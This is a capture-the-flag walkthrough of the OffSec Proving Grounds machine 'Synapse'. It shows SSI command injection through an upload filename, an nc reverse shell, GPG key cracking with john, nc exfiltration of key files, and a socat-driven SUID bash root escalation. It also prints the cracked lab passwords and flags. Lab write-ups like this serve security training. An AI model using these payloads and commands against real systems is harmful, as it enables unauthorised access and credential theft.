Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - SYNAPSE

·3175 words·15 mins·
OFFSEC PG PRACTICE SSI JOHN GPG2JOHN MD5SUM SOCAT
Table of Contents

Summary
#

On port 80 there is a web application called synapse. Using the update profile picture functionality we can abuse a .shtml file with Server Side Includes (SSI) with the filename of the upload. Once initial access as the www-data user, we can move laterally by cracking a GPG private key and getting access as the mindsflee user. This user can run /home/mindsflee/synapse_commander.py with sudo privileges which allows use to escalate our privileges to the root user using socat.

Specifications
#

  • Name: SYNAPSE
  • Platform: PG PRACTICE
  • Points: 25
  • Difficulty: hard
  • System overview: Linux synapse 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
  • IP address: 192.168.209.149
  • OFFSEC provided credentials: None
  • HASH: local.txt:c1e6f2803edcc10234280b67ec3a0330
  • HASH: proof.txt:fa1c3b1796b807f231ba9b887ffe945a

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir synapse && cd synapse && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 29 14:41 .
drwxrwxr-x 45 kali kali 4096 Aug 29 14:41 ..
drwxrwxr-x  2 kali kali 4096 Aug 29 14:41 enum
drwxrwxr-x  2 kali kali 4096 Aug 29 14:41 exploits
drwxrwxr-x  2 kali kali 4096 Aug 29 14:41 files
drwxrwxr-x  2 kali kali 4096 Aug 29 14:41 tools
drwxrwxr-x  2 kali kali 4096 Aug 29 14:41 uploads

## set bash variable
ip=192.168.209.149

## ping target to check if it's online
ping $ip

PING 192.168.209.149 (192.168.209.149) 56(84) bytes of data.
64 bytes from 192.168.209.149: icmp_seq=1 ttl=61 time=18.1 ms
64 bytes from 192.168.209.149: icmp_seq=2 ttl=61 time=18.6 ms
^C
--- 192.168.209.149 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.063/18.320/18.578/0.257 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.209.149:22
Open 192.168.209.149:21
Open 192.168.209.149:80
Open 192.168.209.149:139
Open 192.168.209.149:445
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-29 14:43 CEST
Initiating Ping Scan at 14:43
Scanning 192.168.209.149 [4 ports]
Completed Ping Scan at 14:43, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:43
Completed Parallel DNS resolution of 1 host. at 14:43, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 14:43
Scanning 192.168.209.149 [5 ports]
Discovered open port 22/tcp on 192.168.209.149
Discovered open port 80/tcp on 192.168.209.149
Discovered open port 445/tcp on 192.168.209.149
Discovered open port 139/tcp on 192.168.209.149
Discovered open port 21/tcp on 192.168.209.149
Completed SYN Stealth Scan at 14:43, 0.05s elapsed (5 total ports)
Nmap scan report for 192.168.209.149
Host is up, received echo-reply ttl 61 (0.018s latency).
Scanned at 2025-08-29 14:43:19 CEST for 0s

PORT    STATE SERVICE      REASON
21/tcp  open  ftp          syn-ack ttl 61
22/tcp  open  ssh          syn-ack ttl 61
80/tcp  open  http         syn-ack ttl 61
139/tcp open  netbios-ssn  syn-ack ttl 61
445/tcp open  microsoft-ds syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
           Raw packets sent: 9 (372B) | Rcvd: 6 (248B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp  open  ftp          syn-ack ttl 61
22/tcp  open  ssh          syn-ack ttl 61
80/tcp  open  http         syn-ack ttl 61
139/tcp open  netbios-ssn  syn-ack ttl 61
445/tcp open  microsoft-ds syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
21,22,80,139,445

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,139,445 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT    STATE SERVICE     REASON         VERSION
21/tcp  open  ftp         syn-ack ttl 61 vsftpd 3.0.3
22/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGcX/x/M6J7Y0V8EeUt0FqceuxieEOe2fUH2RsY3XiSxByQWNQi+XSrFElrfjdR2sgnauIWWhWibfD+kTmSP5gkFcaoSsLtgfMP/2G8yuxPSev+9o1N18gZchJneakItNTaz1ltG1W//qJPZDHmkDneyv798f9ZdXBzidtR5/+2ArZd64bldUxx0irH0lNcf+ICuVlhOZyXGvSx/ceMCRozZrW2JQU+WLvs49gC78zZgvN+wrAZ/3s8gKPOIPobN3ObVSkZ+zngt0Xg/Zl11LLAbyWX7TupAt6lTYOvCSwNVZURyB1dDdjlMAXqT/Ncr4LbP+tvsiI1BKlqxx4I2r
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCpAb2jUKovAahxmPX9l95Pq9YWgXfIgDJw0obIpOjOkdP3b0ukm/mrTNgX2lg1mQBMlS3lzmQmxeyHGg9+xuJA=
|   256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0omUJRIaMtPNYa4CKBC+XUzVyZsJ1QwsksjpA/6Ml+
80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: SYNAPSE
139/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: SYNAPSE; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 15905/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 17236/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 54624/udp): CLEAN (Failed to receive data)
|   Check 4 (port 44846/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
| smb2-time: 
|   date: 2025-08-29T12:44:33
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: synapse
|   NetBIOS computer name: SYNAPSE\x00
|   Domain name: \x00
|   FQDN: synapse
|_  System time: 2025-08-29T08:44:34-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Initial Access
#

80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: SYNAPSE

Going to the URL: http://192.168.209.149/ reveals a web application called SYNAPSE.

When we click on User and on the pencil icon at the bottom of the screen.

Once we clicked on this icon we get an profile picture update screen. It’s a PHP file name: edit_profile_picture.php.

For testing the upload functionality, we create a test file and click Browse, select the created file and next click on Upload Image.

## change directory
cd files

## create test file
touch test

Once uploaded we see two sequential screens, one saying we can only upload a certain format of an image followed by a inspect.shtml saying this IP address is not authorized to upload, followed by the filename. Then the application return to homepage, index.html. This inspect.shtml, with the .shtml extension can indicate an application accepts Server Side Includes (SSI) directives. Details on SSI: https://sudip-says-hi.medium.com/server-side-includes-all-you-need-to-know-about-ssi-3b63f74bc85.


After reading up on SSI, let’s try to change the filename to execute whoami and escaping the ! symbol.

## create file with command `whoami`
touch "<\!--#exec cmd='whoami' -->".jpg

Indeed, we get command execution as the www-data user on the target.

So now we can try to get a reverse shell.

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 9001
listening on [any] 9001 ...

## create file with reverse shell command
touch "<\!--#exec cmd='nc 192.168.45.204 9001 -c bash' -->".jpg

## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.209.149] 55840

## print current user
whoami
www-data

## print current directory
pwd
/var/www/html

## find `local.txt` on the filesystem
find / -iname 'local.txt' 2>/dev/null
/home/mindsflee/local.txt

## print `local.txt`
cat /home/mindsflee/local.txt
c1e6f2803edcc10234280b67ec3a0330

Lateral Movement
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@synapse:/var/www/html$ export TERM=xterm
www-data@synapse:/var/www/html$ stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start local webserver
python3 -m http.server 80

## on target
## change directory
www-data@synapse:/var/www/html$ cd /var/tmp
www-data@synapse:/var/tmp$ 

## download `linpeas.sh`
www-data@synapse:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-29 10:50:12--  http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                                                  linpeas.sh                                         88%[==================================================================================linpeas.sh                                        100%[=============================================================================================================>] 933.76K  4.38MB/s    in 0.2s    

2025-08-29 10:50:12 (4.38 MB/s) - 'linpeas.sh' saved [956174/956174]

## set the execution bit
www-data@synapse:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@synapse:/var/tmp$ ./linpeas.sh 

The linpeas.sh output shows there is a user called mindsflee. In the home directory (/home/mindsflee/) there is a file called synapse_commander.py. There is also a hidden directory called .gnupg which contains two files, namely a file called /home/mindsflee/.gnupg/creds.priv and /home/mindsflee/.gnupg/creds.txt.gpg.

## print users with a shell
www-data@synapse:/home/mindsflee/.gnupg$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
mindsflee:x:1000:1000:,,,:/home/mindsflee:/bin/bash

## change directory
www-data@synapse:/var/tmp$ cd /home/mindsflee/

## list content `/home/mindsflee`
www-data@synapse:/home/mindsflee$ ls -la
total 32
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10  2021 .
drwxr-xr-x 3 root      root      4096 Jun 10  2021 ..
lrwxrwxrwx 1 root      root         9 Jun 10  2021 .bash_history -> /dev/null
-rw-r--r-- 1 mindsflee mindsflee  220 Jun 10  2021 .bash_logout
-rw-r--r-- 1 mindsflee mindsflee 3526 Jun 10  2021 .bashrc
drwxr-xr-x 2 root      root      4096 Jun 14  2021 .gnupg
-rw-r--r-- 1 mindsflee mindsflee  807 Jun 10  2021 .profile
-rw-r--r-- 1 mindsflee mindsflee   33 Aug 29 08:41 local.txt
-rw-r--r-- 1 root      root      2058 Jan  3  2021 synapse_commander.py

## change directory
www-data@synapse:/var/tmp$ cd /home/mindsflee/.gnupg/

## list content `/home/mindsflee/.gnupg`
www-data@synapse:/home/mindsflee/.gnupg$ ls -la
total 20
drwxr-xr-x 2 root      root      4096 Jun 14  2021 .
drwxr-xr-x 3 mindsflee mindsflee 4096 Jun 10  2021 ..
-rw-r--r-- 1 mindsflee mindsflee 5180 Jun 14  2021 creds.priv
-rw-r--r-- 1 mindsflee mindsflee  124 Jun 14  2021 creds.txt.gpg

When we print /home/mindsflee/synapse_commander.py, we can read the script. Choosing option 1,2 or 3 will result in a file (/tmp/synapse_commander.s) being remove/created and the socket is bound to this file. Once the socket is listening it will execute any received datagram.

## print `synapse_commander.py`
www-data@synapse:/home/mindsflee$ cat synapse_commander.py 
import socket
import os, os.path, sys
import time
from collections import deque    





print("""\
  
 _____ __ __ _____ _____ _____ _____ _____    _____ _____ _____ _____ _____ _____ ____  _____ _____ 
|   __|  |  |   | |  _  |  _  |   __|   __|  |     |     |     |     |  _  |   | |    \|   __| __  |
|__   |_   _| | | |     |   __|__   |   __|  |   --|  |  | | | | | | |     | | | |  |  |   __|    -|
|_____| |_| |_|___|__|__|__|  |_____|_____|  |_____|_____|_|_|_|_|_|_|__|__|_|___|____/|_____|__|__|


 
  """)

print("Focus your approach with a system designed for single network port access.")
print ("With Synapse Commander, a single arm delivers three multi-jointed instruments")
print("and a fully wristed 3DHD camera for visibility and control in narrow surgical spaces.")
print("Streamlined setup, multiple control modes and a dynamic statistics display are included")
print
print("1 - Access to ARM management")
print("2 - Enable 3DHD camera")
print("3 - Settings")
print("4 - Reboot the system")
print
instruction = raw_input("Synapse Instruction:")

if instruction == "1":
    
    print ("\nARM MANAGEMENT ENABLED")
    os.system("touch 2343432445467676")
elif instruction == "2":
    
    print ("\n3DHD CAMERA ENABLED")
    os.system("touch 5344225453244546")
elif instruction == "3":
    
    print ("\nACCESS TO SETTINGS CONFIGURATION")
    os.system("touch 77756563456244546")
elif instruction == "4":
    
    print ("\nSYSTEM REBOOTED")
    os.execl(sys.executable, sys.executable, *sys.argv)

else:
    os.execl(sys.executable, sys.executable, *sys.argv)



if os.path.exists("/tmp/synapse_commander.s"):
  os.remove("/tmp/synapse_commander.s")    

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/synapse_commander.s")
os.system("chmod o+w /tmp/synapse_commander.s")
while True:
  server.listen(1)
  conn, addr = server.accept()
  datagram = conn.recv(1024)
  if datagram:
    print(datagram)
    os.system(datagram)
    conn.close()

We can use this, however, we can’t run this script as another user. So let’s look at the two files in the hidden directory. We could try to crack the GPG key using john. First, let’s transfer the files to our machine using nc. When sending the data, press CTRL+C after a little while to terminate the connection. Now use md5sum to check the hash is the same on both files (on target and local machine). Repeat this process for both files.

## change directory
cd files

## get the local IP address on tun0
ip a | grep -A 10 tun0
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::581:f73c:e44b:9501/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## actions for downloading `creds.priv` 
## on the local machine, setup a listener and redirect received data to a file
nc -lvnp 9001 > creds.priv
listening on [any] 9001 ...

## on target machine
## send data to local machine
www-data@synapse:/home/mindsflee/.gnupg$ nc -w 3 192.168.45.204 9001 < /home/mindsflee/.gnupg/creds.priv

## calculate hash
www-data@synapse:/home/mindsflee/.gnupg$ md5sum /home/mindsflee/.gnupg/creds.priv
dee4453d6c7d58b166a6bb82cfb11480  /home/mindsflee/.gnupg/creds.priv

## on local machine, also calculate md5sum hash
md5sum creds.priv                                   
dee4453d6c7d58b166a6bb82cfb11480  creds.priv

## actions for downloading `creds.txt.gpg` 
## on the local machine, setup a listener and redirect received data to a file
nc -lvnp 9001 > creds.txt.gpg
listening on [any] 9001 ...

## on target machine
## send data to local machine
www-data@synapse:/home/mindsflee/.gnupg$ nc -w 3 192.168.45.204 9001 < /home/mindsflee/.gnupg/creds.txt.gpg

## calculate hash
www-data@synapse:/home/mindsflee/.gnupg$ md5sum /home/mindsflee/.gnupg/creds.txt.gpg
76c71bb9d46761f612da60a5fbeb96a4  /home/mindsflee/.gnupg/creds.txt.gpg

## on local machine, also calculate md5sum hash
md5sum creds.txt.gpg 
76c71bb9d46761f612da60a5fbeb96a4  creds.txt.gpg

All hashes line up, so there the same. Now we’re going to use gpg2john to convert the file to a format that john uses and try to crack the private key file. We find a password for the key: qwertyuiop. Now import the private key in the GPG keyring and use this key to decrypt the text file.

## convert file
gpg2john creds.priv > creds.john

File creds.priv

## using `john` to crack the private key
john --wordlist=/opt/rockyou.txt creds.john    
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwertyuiop       (mindsflee)     
1g 0:00:00:03 DONE (2025-08-29 19:47) 0.2832g/s 97.45p/s 97.45c/s 97.45C/s cancer..monique
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

## locally import private key in GPG keyring 
echo "qwertyuiop" | gpg --batch --yes --allow-secret-key-import --import creds.priv
gpg: keybox '/home/kali/.gnupg/pubring.kbx' created
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 8ECE3C203E92BE79: public key "mindsflee" imported
gpg: key 8ECE3C203E92BE79: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

## decrypt the textfile using the private key
echo "qwertyuiop" | gpg --batch --yes --decrypt --passphrase-fd 0 creds.txt.gpg
gpg: AES256.CFB encrypted data
gpg: encrypted with 1 passphrase
user: mindsflee
password: m1ndsfl33w1llc4tchy0u?

This reveals credentials of the mindsflee user (mindsflee:m1ndsfl33w1llc4tchy0u?). Now we can login via SSH using these credentials and become the mindsflee user.

## login via SSH using found credentials (`mindsflee:m1ndsfl33w1llc4tchy0u?`)
ssh mindsflee@$ip
The authenticity of host '192.168.209.149 (192.168.209.149)' can't be established.
ED25519 key fingerprint is SHA256:mqPCrimr9j626KOGoHM+qxgHUOYD4pu1+4KzhIvu5uA.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:45: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.209.149' (ED25519) to the list of known hosts.
mindsflee@192.168.209.149's password: 
Linux synapse 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
mindsflee@synapse:~$ 

Privilege Escalation
#

As the mindsflee user listing the sudo privileges shows we can run /home/mindsflee/synapse_commander.py as the root user.

mindsflee@synapse:~$ sudo -l
[sudo] password for mindsflee: 
Matching Defaults entries for mindsflee on synapse:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mindsflee may run the following commands on synapse:
    (root) /usr/bin/python /home/mindsflee/synapse_commander.py

This makes escalation of privileges to the root user possible. Let’s do it. Run the script with sudo and select for example 2. Now start a new SSH session as the mindsflee user and send a command to copy bash and set the SUID bit, which will be executed by the root user. Luckily, socat is on the target machine (otherwise we would need to upload it). We’ll use this tool to send the command.

## find `socat` on the filesystem
www-data@synapse:/tmp$ which socat
/usr/bin/socat

## run the `synapse_commander.py` script with sudo
mindsflee@synapse:~$ sudo /usr/bin/python /home/mindsflee/synapse_commander.py
  
 _____ __ __ _____ _____ _____ _____ _____    _____ _____ _____ _____ _____ _____ ____  _____ _____ 
|   __|  |  |   | |  _  |  _  |   __|   __|  |     |     |     |     |  _  |   | |    \|   __| __  |
|__   |_   _| | | |     |   __|__   |   __|  |   --|  |  | | | | | | |     | | | |  |  |   __|    -|
|_____| |_| |_|___|__|__|__|  |_____|_____|  |_____|_____|_|_|_|_|_|_|__|__|_|___|____/|_____|__|__|


 
  
Focus your approach with a system designed for single network port access.
With Synapse Commander, a single arm delivers three multi-jointed instruments
and a fully wristed 3DHD camera for visibility and control in narrow surgical spaces.
Streamlined setup, multiple control modes and a dynamic statistics display are included

1 - Access to ARM management
2 - Enable 3DHD camera
3 - Settings
4 - Reboot the system

Synapse Instruction:2

3DHD CAMERA ENABLED

## in the second shell
## send the command to copy bash to /tmp and set SUID/execute bit
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/synapse_commander.s

## list content `/tmp`
mindsflee@synapse:~$ ls -la /tmp
total 1184
drwxrwxrwt 10 root root    4096 Aug 29 14:13 .
drwxr-xr-x 18 root root    4096 Jun 10  2021 ..
-rwsr-sr-x  1 root root 1168776 Aug 29 14:13 bash
<SNIP>

The SUID bit is set as the root user. Now simply escalate using this bash binary.

## escalate privileges using bash
mindsflee@synapse:~$ /tmp/bash -p

## print current user
bash-5.0# whoami
root

## print `proof.txt`
bash-5.0# cat /root/proof.txt
fa1c3b1796b807f231ba9b887ffe945a

References
#

[+] https://sudip-says-hi.medium.com/server-side-includes-all-you-need-to-know-about-ssi-3b63f74bc85
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Related

OFFSEC - Proving Grounds - SCRUTINY
·2638 words·13 mins
OSCP OFFSEC PG PRACTICE VHOST JOHN SSH2JOHN TEAMCITY
Initial access via OFFSEC credentials or TeamCity CVE-2024-27198 exploit, get id_rsa key for marcot and password of multiple users. Briand runs /usr/bin/systemctl as root, escalate to root using GTFOBins.
OFFSEC - Proving Grounds - BITFORGE
·4120 words·20 mins
OSCP OFFSEC PG PRACTICE SIMPLE ONLINE PLANNING GIT GIT-DUMPER MYSQL PSPY FLASK
Git on port 80 leaks MySQL credentials. RCE in Simple Planning v1.52.01 for initial access, with pspy64 find jack’s credentials and changing flask script escalates to root.
OFFSEC - Proving Grounds - LAVITA
·2978 words·14 mins
OSCP OFFSEC PG PRACTICE LARAVEL
SSH in or exploit Laravel 8.4.0 with APP_DEBUG is set to true to gain www-data access. Abuse skunk’s script to escalate to skunk and use sudo /usr/bin/composer to edit composer.json to escalate privileges.
OFFSEC - Proving Grounds - VMDAK
·3176 words·15 mins
OSCP OFFSEC PG PRACTICE PRISON MANAGEMENT SYSTEM MYSQL CHISEL JENKINS BURP
Prison management system on port 9443 vulnerable to SQL injection & RCE once initial access got MySQL creds and SSH in. Using port forward on 8080 we can exploit Jenkins (CVE-2024-23897) for root.
OFFSEC - Proving Grounds - SPX
·2018 words·10 mins
OSCP OFFSEC PG PRACTICE TINY FILE MANAGER MAKE
Tiny File Manager 2.5.3 on port 80; Exploiting CVE-2024-42007 and uploaded PHP reverse shell gives initial access, making own Makefile to set SUID on /bin/bash escalates our privileges
OFFSEC - Proving Grounds - EXTPLORER
·2184 words·11 mins
OSCP OFFSEC PG PRACTICE EXTPLORER HASHCAT GROUP DISK
eXtplorer application on port 80 with weak credentials which allows PHP reverse shell. As www-data, we can’t read local.txt. Crack dora’s hash, switch to dora in disk group, read proof.txt.